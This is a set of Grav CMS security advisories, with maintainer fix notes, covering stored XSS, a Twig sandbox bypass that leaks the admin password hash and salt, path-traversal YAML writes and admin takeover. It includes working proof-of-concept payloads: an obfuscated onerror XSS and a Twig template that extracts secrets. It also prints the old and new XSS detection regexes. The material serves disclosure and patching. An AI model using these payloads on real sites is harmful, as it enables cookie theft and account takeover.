<img width="2909" height="1339" alt="image3" src="https://github.com/user-attachments/assets/c7ed7e61-8dcf-402d-8589-98d18978c71a" />


**Execution Details:**
The `onerror` event is written without quotes to bypass the regex. Because unquoted attributes are restricted in their character usage (e.g., the `=` symbol cannot be used easily), the payload leverages `atob()` and regex `.source` to decode the base64 string `YWxlcnQoZG9jdW1lbnQuY29va2llKQ` (which translates to `alert(document.cookie)`). The `atob()` function conveniently auto-completes the necessary `=` padding for the base64 string.

### Impact
- **Vulnerability Type:** Stored Cross-Site Scripting (XSS)
- **Impacted Parties:** Any user (including administrators) who views the compromised content published by the attacker.
- **Consequences:** Attackers can execute malicious scripts in a victim's browser, leading to session hijacking (cookie theft), unauthorized actions.


---

## Maintainer note — fix applied (2026-04-24)

Fixed in Grav core on the `2.0` branch: commit [`5a12f9be8`](https://github.com/getgrav/grav/commit/5a12f9be8) — will ship in **2.0.0-beta.2**.

**What changed:** the `on_events` regex in `Security::detectXss()` no longer requires quotes or whitespace around `=`. The previous form:

```
'on_events' => '#(<[^>]+[\s\x00-\x20\"\'\/])(on\s*[a-z]+|xmlns)\s*=[\s|\'\"].*[\s|\'\"]>#iUu'
```

required `[\s|'"]` immediately after the `=`, so `<img src=x onerror=alert(1)>` slid past. The new regex drops the value-matching tail entirely and just flags the presence of an `on*=` attribute anywhere inside a tag:

```
'on_events' => '#<[^>]*?[\s\x00-\x20\"\'\/](on\s*[a-z]+|xmlns)\s*=#iu'
```

Detecting the attribute name + `=` is enough for a tripwire — the trade-off is occasional false positives on legitimate attribute *values* containing `on*=` substrings, which the maintainer can hand-approve.

This same regex bypass was the detection-layer half of GHSA-c2q3-p4jr-c55f and GHSA-w8cg-7jcj-4vv2; the fix here knocks both down.

**Files:**
- [`system/src/Grav/Common/Security.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/Security.php).
- [`tests/unit/Grav/Common/Security/DetectXssTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/DetectXssTest.php) — 18 cases: unquoted PoCs, quoted-form regression, safe-content negatives.

Grav Vulnerable to Sensitive Information Disclosure via Accounts Service Bypass
## Summary
Information disclosure exists in `Grav CMS v1.8.0-beta.29`. Despite previous security patches (notably in `v1.8.0-beta.27/28`) aimed at restricting sensitive object access within the Twig environment, the Accounts Service remains exposed.

A low-privileged user (EX: Content Editor with only pages.update permissions) can bypass the existing Twig sandbox restrictions by utilizing the `grav['accounts']` service. Attacker can programmatically load administrative user objects and extract sensitive data, including Bcrypt password hashes and the security salt.

## Affected version
Grav CMS: `v1.8.0-beta.29` (and earlier 1.8.x beta versions).

Note: This vulnerability persists even after the vendor attempted to mitigate similar SSTI vectors in earlier beta releases.

## Steps to Reproduce
1. Create a low-privileged account (MY CASE IS 'editor_chen') with permissions limited to admin.login and basic page management (create, update, list). Ensure all administrative permissions (Configuration, User Accounts, ...) are explicitly Denied.

2. Login to the Admin panel using  `editor_chen`. Navigate to Pages and edit the `Home` page.


3. Under the Advanced tab, ensure Process Twig is enabled .

4. In the Content tab, inject the following Twig payload designed to bypass the `isDangerousFunction` filter by accessing the internal service container:
```
---
title: Information Disclosure Test
process:
    twig: true
---
# Security Audit Results
- Admin Password Hash: {{ grav['accounts'].load('admin').get('hashed_password') }}
- Security Salt: {{ grav.config.get('security.salt') }}
```
<img width="1176" height="618" alt="GRAV" src="https://github.com/user-attachments/assets/7970216a-2dc6-4d1b-8dfd-b64f3712c9c5" />


5. Click Save. And navigate to the public page (`http://localhost:8000/home`). Page will render and display the administrator's Bcrypt hash and the system security salt.
<img width="1278" height="462" alt="GRAV2" src="https://github.com/user-attachments/assets/33b7b894-6ae3-4d29-bd2d-8004e9b343e0" />







## PoC
```
---
title: Information Disclosure Test
process:
    twig: true
---
# Security Audit Results
- Admin Password Hash: {{ grav['accounts'].load('admin').get('hashed_password') }}
- Security Salt: {{ grav.config.get('security.salt') }}
```

## Impact
Attackers can obtain the password hashes of all registered users, including Super Administrators.

Extracted hashes can be subjected to offline brute-force or dictionary attacks (EX: USE Hashcat)

## Video
Pls refer to the attached video
<video src="https://github.com/user-attachments/assets/74d5ae41-7911-4099-b2cc-e6c51b27c68c" controls="controls" style="max-width: 100%;">
</video>



---

## Maintainer note — fix applied (2026-04-24)

Fixed in Grav core on the `2.0` branch: commit [`d904efc33`](https://github.com/getgrav/grav/commit/d904efc33) — will ship in **2.0.0-beta.2**.

**What changed:** the HMAC key formerly stored as `security.salt` in `user/config/security.yaml` has moved **out of the Config tree** into `user/config/security-private.php`. On upgrade, the existing salt value is migrated into the new file on first request (preserving CSRF nonces and sessions) and the key is scrubbed from both the live `Config` object and the on-disk YAML — so `{{ grav.config.get('security.salt') }}` from a sandboxed Twig template now returns null. The `.php` extension is blocked from web access by the default `user/*.php` htaccess rule; the file contains only a `return` statement, so direct PHP exec produces no output either.

The PoC's password-hash half (`grav['accounts'].load('admin').get('hashed_password')`) was already covered by the new Twig content sandbox in 2.0.0-beta.2 — `UserCollection::load` is not in the sandbox allowlist — see the separate GHSA-58hj-46fw-rcfm advisory.

**Files:**
- [`system/src/Grav/Common/Security.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/Security.php) — new `Security::getNonceKey()` + migration.
- [`system/src/Grav/Common/Utils.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/Utils.php) — `generateNonceString` now uses the new key.
- [`system/src/Grav/Common/Service/SessionServiceProvider.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/Service/SessionServiceProvider.php).
- [`system/src/Grav/Common/Config/Setup.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/Config/Setup.php) — removed auto-gen of `security.salt`.
- [`system/config/security.yaml`](https://github.com/getgrav/grav/blob/2.0/system/config/security.yaml) — removed placeholder `salt:`.
- [`tests/unit/Grav/Common/Security/NonceKeySecurityTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/NonceKeySecurityTest.php) — migration + generation coverage.

Grav vulnerable to Path traversal / arbitrary YAML write via user creation leading to Account Takeover / System Corruption
When a user with privilege of user creation creates a new user through the Admin UI and supplies a username containing path traversal sequences (for example ..\Nijat or ../Nijat), Grav writes the account YAML file to an unintended path outside user/accounts/. The written YAML can contain account fields such as email, fullname, twofa_secret, and hashed_password. In my tests,  I was able to cause the Admin UI to write the following content into arbitrary .yaml files (including files like email.yaml, system.yaml, or other site YAML files like admin.yaml) — demonstrating arbitrary YAML write / overwrite via the Admin UI.

Example observed content written by the Admin UI (test data):
username: ..\Nijat
state: enabled
email: [EMAIL@gmail.com](mailto:EMAIL@gmail.com)
fullname: 'Nijat Alizada'
language: en
content_editor: default
twofa_enabled: false
twofa_secret: RWVEIHC2AFVD6FCR6UHCO3DS4HWXKKDT
avatar: { }
hashed_password: $2y$10$wl9Ktv3vUmDKCt8o6u2oOuRZr1I04OE0YZf2sJ1QcAherbNnk1XVC
access:
site:
login: true

Grav Admin Plugin vulnerable to Cross-Site Scripting (XSS) Stored endpoint `/admin/config/site` parameter `data[taxonomies]`
A Stored Cross-Site Scripting (XSS) vulnerability was identified in the `/admin/config/site` endpoint of the _Grav_ application. This vulnerability allows attackers to inject malicious scripts into the `data[taxonomies]` parameter. The injected payload is stored on the server and automatically executed in the browser of any user who accesses the affected site configuration, resulting in a persistent attack vector.

---

Grav vulnerable to Privilege Escalation in Grav Admin: Missing Username Uniqueness Check Allows Admin Account Takeover
A privilege escalation vulnerability exists in Grav’s Admin plugin due to the absence of username uniqueness validation when creating users.
A user with the create user permission can create a new account using the same username as an existing administrator account, set a new password/email, and then log in as that administrator. This effectively allows privilege escalation from limited user-manager permissions to full administrator access.